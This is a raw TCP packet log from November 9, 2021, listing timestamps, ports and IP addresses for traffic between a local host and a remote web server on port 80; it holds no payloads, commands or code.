Nov 9, 2021 22:21:17.045219898 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045259953 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045284986 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.045300007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045340061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045351028 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.045378923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045418024 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045444965 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.045456886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045495987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045511007 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.045536041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045587063 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045588017 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.045633078 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045721054 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.046967983 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.092228889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.092283964 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.092895985 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.345885992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346018076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346103907 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.346112967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346260071 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346332073 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.346425056 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346534967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346581936 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.346590996 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346618891 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346646070 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346662045 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.346673965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346702099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346714973 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.346730947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346757889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346776009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.346785069 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346813917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346839905 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346846104 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.346868038 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346884012 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.346896887 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346925020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346940994 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.346952915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.346980095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347006083 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347007990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347037077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347052097 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347063065 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347093105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347109079 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347121000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347148895 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347160101 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347177982 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347206116 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347232103 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347234011 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347261906 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347289085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347290993 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347317934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347342014 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347346067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347374916 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347400904 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347403049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347429991 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347446918 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347457886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347486019 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347501040 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347512960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347542048 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347558975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347569942 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347599030 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347615957 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347628117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347655058 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347671032 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347683907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347712040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347738028 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347739935 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347765923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347794056 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347794056 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347822905 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347842932 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347851992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347878933 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347894907 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347907066 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347935915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347956896 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.347963095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.347990990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348006964 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348018885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348047972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348062038 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348077059 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348104000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348120928 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348133087 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348160982 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348179102 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348186970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348215103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348242044 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348243952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348268986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348297119 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348298073 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348326921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348341942 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348355055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348383904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348401070 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348409891 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348438978 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348454952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348465919 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348495007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348510981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348524094 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348551035 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348567963 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.348578930 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.348624945 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.392997980 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.393028021 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.393043041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.393153906 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.649552107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649609089 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649650097 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649688005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649724960 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.649728060 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649749041 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.649769068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649806976 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649811983 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.649844885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649883986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649912119 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.649923086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649961948 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.649974108 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.649998903 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650038004 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650048018 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650075912 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650111914 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650122881 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650151014 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650188923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650198936 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650228024 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650268078 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650274038 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650305033 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650343895 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650357008 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650383949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650420904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650432110 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650459051 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650497913 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650510073 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650537968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650578022 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650588989 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650614977 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650652885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650671005 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650691986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650728941 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650739908 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650768042 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650805950 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650818110 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650846004 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650885105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650902033 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.650922060 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650962114 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.650974989 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651000977 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651037931 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651051044 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651077032 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651114941 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651125908 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651154995 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651196003 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651210070 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651232958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651273012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651287079 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651331902 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651382923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651422977 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651441097 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651463032 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651477098 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651500940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651539087 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651550055 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651577950 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651614904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651626110 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651653051 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651689053 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651699066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651727915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651771069 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651788950 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651808023 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651846886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651856899 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651885986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651921988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651935101 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.651961088 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.651998997 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652004957 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.652036905 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652076960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652084112 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.652112961 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652152061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652162075 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.652189970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652225971 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652239084 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.652265072 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652302027 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652316093 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.652340889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652381897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652388096 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.652417898 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652456999 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652471066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.652497053 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652534962 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652546883 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.652573109 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652611971 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.652621984 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.693239927 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.693295002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.693348885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.693387985 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.693413973 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.693495035 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.953711987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.953769922 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.953830957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.953876019 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.953881979 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.953922987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.953934908 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.953963041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954013109 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954016924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954068899 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954119921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954125881 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954190969 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954224110 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954242945 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954245090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954277992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954293966 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954318047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954356909 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954370975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954397917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954437017 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954449892 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954480886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954519033 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954528093 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954557896 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954596996 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954605103 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954636097 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954673052 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954700947 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954710960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954750061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954766035 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954786062 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954824924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954832077 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954864025 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954902887 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954905033 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.954941988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954979897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.954988956 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955019951 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955059052 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955059052 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955096006 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955133915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955141068 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955172062 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955210924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955214024 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955250978 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955287933 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955296040 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955327034 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955365896 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955369949 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955404043 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955444098 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955450058 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955482006 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955521107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955523968 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955560923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955598116 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955606937 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955637932 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955677986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.955686092 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.955715895 CET	80	49813	47.74.84.15	192.168.2.4
